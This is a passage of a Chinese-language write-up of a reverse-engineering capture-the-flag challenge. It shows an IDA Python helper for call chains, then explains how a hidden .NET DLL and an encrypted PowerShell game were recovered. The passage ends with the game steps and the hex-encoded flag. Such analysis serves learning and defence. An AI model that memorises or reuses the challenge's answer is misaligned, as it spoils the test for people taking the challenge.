&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;            log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Unusual call at &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%08x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;. Quit for safe.&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(jmp_chain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            jmp_chain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; cfunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;entry_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span&gt; current&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;            #reprocess immidately if this is not an entry&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;            log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Redirected to &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%08x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(cfunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;entry_ea))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            jmp_chain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; cfunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;entry_ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            continue&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        targets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        target_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Check all items&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Is a jump slot if only one call found&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Or we should stop here&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        for&lt;&#x2F;span&gt;&lt;span&gt; citem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; cfunc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;treeitems&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            citem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; citem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;to_specific_type&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; citem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;opname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;call&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;                # Found a call. &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                targets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                target_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; citem&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;obj_ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; targets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;                break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; targets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            jmp_chain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        else&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;            # Is a slot function. Add target to our list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            jmp_chain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(target_ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        chainmax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; -=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; jmp_chain&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; fix_call_chain&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;None&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;chainmax&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100000&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    chain&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; get_call_chain&lt;&#x2F;span&gt;&lt;span&gt;(ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;chainmax)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; chain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        raise&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; ValueError&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Unexcepted chain end!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    chain_target&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; chain[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;    log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Targeting to &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%08x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(chain_target))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    # Get last function&amp;#39;s def&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(chain)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ida_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;set_name&lt;&#x2F;span&gt;&lt;span&gt;(chain[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;j_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;_id_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(ida_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_name&lt;&#x2F;span&gt;&lt;span&gt;(chain_target)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; SN_CHECK&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;        # Also try to modify its arguments&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ida_typeinf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;tinfo_t&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; ida_nalt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_tinfo&lt;&#x2F;span&gt;&lt;span&gt;(p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; chain_target)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span&gt; ida_nalt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;set_tinfo&lt;&#x2F;span&gt;&lt;span&gt;(chain[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; p)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            pass&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;工具准备好后，分析也简单了一些。程序启动了两个线程，一个是HTTP服务器，另一个是主线程。&lt;&#x2F;p&gt;
&lt;p&gt;主线程会解密&lt;code&gt;402490&lt;&#x2F;code&gt;的一长串字符串，你可以在解密后到&lt;code&gt;eax&lt;&#x2F;code&gt;找到这串大小为&lt;code&gt;[esp+44h]&lt;&#x2F;code&gt;的解密结果。这个结果是一些base64字符串，解码之后的东西同样是一团糟。&lt;&#x2F;p&gt;
&lt;p&gt;因此就看看接下来对这串字符串做了什么。这个程序用的一个一个技术叫&lt;code&gt;.Net CLR Hosting&lt;&#x2F;code&gt;，也就是说你可以调用一个垫片库&lt;code&gt;mscoree.dll&lt;&#x2F;code&gt;，在你自己的程序中启动一个.Net CLR环境，并执行CSharp代码。跟进去发现，启动这个环境时使用的DLL是一个不存在于磁盘上的文件。有经验的应该了解了，这里首先用&lt;code&gt;MapViewOfFileSub&lt;&#x2F;code&gt;, &lt;code&gt;CreateFileMappingA&#x2F;W&lt;&#x2F;code&gt;之类的东西，把文件映射到内存中，然后去访问他。然而看到这块的时候并不知道怎么将一个Map好的文件Unmap回来，所以就很惨。&lt;&#x2F;p&gt;
&lt;p&gt;最后在漫长的逆向后，发现了&lt;code&gt;402780&lt;&#x2F;code&gt;的一个函数，这个函数应该是实现了一个PE Loader，会把一块内存当作一个DLL文件，映射到内存中。找到这里就好办了，在第一次映射之前下断点，直接从Memory Dump中拿到文件，也就是压缩包中的&lt;code&gt;zsud_3c000_striped.dll&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这个文件就是刚才提到的在CLR Hosting中跑的.Net程序。用dnSpy可以看到，程序用&lt;code&gt;soooooo_sorry_zis_is_not_ze_flag&lt;&#x2F;code&gt;作为密钥，用全0的IV，使用AES256解密了一组字符串，并将其加载到PowerShell中执行。因为不知道MS在加密这里有没有用什么骚操作，我就用了最原始的办法：直接把dnSpy的输出修改后重新编译一下。解密结果保存为一个ps1文件。&lt;&#x2F;p&gt;
&lt;p&gt;这个powershell文件就是整个MUD的核心。源码细节就不说了，总之你要拿到key的话，涉及到这么几个隐藏环节：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;抽屉里有把钥匙，可以拿&lt;&#x2F;li&gt;
&lt;li&gt;拿钥匙后的所有步骤会被发给服务器，钥匙的内容也会发过去&lt;&#x2F;li&gt;
&lt;li&gt;钥匙内容满足一定条件，就会被传送到前门&lt;&#x2F;li&gt;
&lt;li&gt;在游戏（而不是Twitter）中找Kevin Mandia，带上他的头盔，扔下key，他会吐一串神器的Hex String&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;估计按这几步走，就能拿到flag。拿钥匙后步骤被发送到服务器的条件是&lt;code&gt;directions_enum[step] == msvcrt.rand()&lt;&#x2F;code&gt;，但是这个&lt;code&gt;rand&lt;&#x2F;code&gt;不知道是被重定义了还是怎样，我自己写程序得到的结果对不上。因此索性在CLR虚拟机中直接下断点，取rand的返回值并打印，然后一顿骚操作，得到了这么一组日志：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== w&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== n&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;EAX ======== s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;太长，就不都列出来了。然后重启程序，按照这些步走一遍，被发配到大门口，然后看看key：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt; look key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;You can start to make out some words but you need to follow the RIGHT_PATH!@66696e646b6576696e6d616e6469610d0a&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个就符合第3步的要求：钥匙文本中有个at符号。看看at后面是什么：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;In [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fromhex&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;66696e646b6576696e6d616e6469610d0a&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;In [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Out[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;findkevinmandia&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\r\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;去右上角的房间找他，并按照第四步操作：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;gt; say Kevin Mandia&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Kevin says, with a nod and a wink: &amp;#39;6D 75 64 64 31 6E 67 5F 62 79 5F 79 30 75 72 35 33 6C 70 68 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D&amp;#39;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Bet you didn&amp;#39;t know he could speak hexadecimal! :-)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;emmmm，我不知道他会说十六进制，但我知道python会：&lt;&#x2F;p&gt;
